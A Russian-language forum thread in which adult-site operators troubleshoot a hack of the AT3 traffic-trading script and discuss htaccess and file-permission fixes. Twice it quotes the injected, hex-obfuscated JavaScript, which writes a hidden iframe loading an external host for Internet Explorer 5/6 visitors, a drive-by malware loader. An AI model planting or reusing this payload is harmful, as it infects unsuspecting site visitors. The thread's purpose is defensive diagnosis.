Похоже, что 16-й билд ат3 такой же дырявый... :(

sir.korvin писал:

b) В строчке "Allow from 10.10.10.10" открывается все для твоего адреса

а если адрес не статичен ?
htaccess в папку at заливать ?
может проще закрыть админку и x2?

Сломали, сукиии.

Код:

<script> var s='3C7363726970743E76617220763D6E6176696761746F722E61707056657273696F6E3B2069662028762E696E6465784F6628274D53494520362E30272920213D202D31207C7C20762E696E6465784F6628274D53494520352E272920213D202D31297B646F63756D656E742E777269746528273C696672616D65207372633D22687474703A2F2F62657374626C61636B776F6D656E2E636F6D2F73747265616D726F7461746F722F7A2F7374617469632E706870222077696474683D32206865696768743D32207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E27293B7D3C2F7363726970743E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37);  o=o+c+s.substr(i,2);} if (navigator.appName=="Microsoft Internet Explorer") {document.write(unescape(o));} </script>

backup.php не нашел вообще

Шнягу засунули в face файлы стрима

Связка была АТЛ+стрим. Рядом стоял другой сидж в связке протон+стрим - его не тронули. Значит проблема явно не в стриме.

CJLOG alert ничего не сказал (возможно из-за малого времени пребывания этой хери на морде сиджа)

Цитата:

CJLOG alert ничего не сказал (возможно из-за малого времени пребывания этой хери на морде сиджа)

он поидее раз в час сканит... мож не успел просто....

Проблема исключительно в ат3.
Баг так и не пофиксили.
Позавчера точно установил
Взлом происходит во время открытой сесии, т.е. када вы сидите в админке сиджа.
Технология таже, идет запрос на admin.cgi?id=13 - это редактирование топлиста, затем вместо шаблона топлиста подгружается backup.php

Figura писал:

Взлом происходит во время открытой сесии, т.е. када вы сидите в админке сиджа.

как раз в админке и сидел

Figura писал:

идет запрос на admin.cgi?id=13 - это редактирование топлиста,

Закрыть права на топы .at3, и все.. Редактировать их приходится не часто, да и как правило не через админку это делается..

Дело не в правах на топы, а в скриптах admin.cgi и x2.cgi
Изначально зараза подгружается, в тот каталог где лежат шаблоны топов для ат3.
Т.е. надо закрывать вообще функцию редактирования топлиста через админку.

Код:

<script> var s='3C7363726970743E76617220763D6E6176696761746F722E61707056657273696F6E3B2069662028762E696E6465784F6628274D53494520362E30272920213D202D31207C7C20762E696E6465784F6628274D53494520352E272920213D202D31297B646F63756D656E742E777269746528273C696672616D65207372633D22687474703A2F2F62657374626C61636B776F6D656E2E636F6D2F73747265616D726F7461746F722F7A2F7374617469632E706870222077696474683D32206865696768743D32207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E27293B7D3C2F7363726970743E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37);  o=o+c+s.substr(i,2);} if (navigator.appName=="Microsoft Internet Explorer") {document.write(unescape(o));} </script>

примерно такой-же код кто-то вставил в топы на скрипте DFtoplist Lite на одном хостинге...
Админы хостинга лечили не переустановкой новой версии скрипта, а переустановкой програмного обеспечения на сервере - не знаю что обновляли, но помогло

Figura писал:

Т.е. надо закрывать вообще функцию редактирования топлиста через админку.

Достаточно закрыть админу htaccess.. Топы (файлы at3) тоже можно закрыть.. А вообще у вас апач от какого пользователя работает? К примеру у меня ftp пользователь один, апач работает от другого, соотв. апач не может редактировать топы, если у них права 644, поэтому что-либо вставить в них просто невозможно (аналогично как и создать файл в рут директории от апача нельзя).
ИМХО все решается просто правильным расставлением прав и закрытием некоторых частей ат3..

блин, сегодня у себя тоже это гавно нашел в темплейте, был запрятан этот скрипт долеко в право.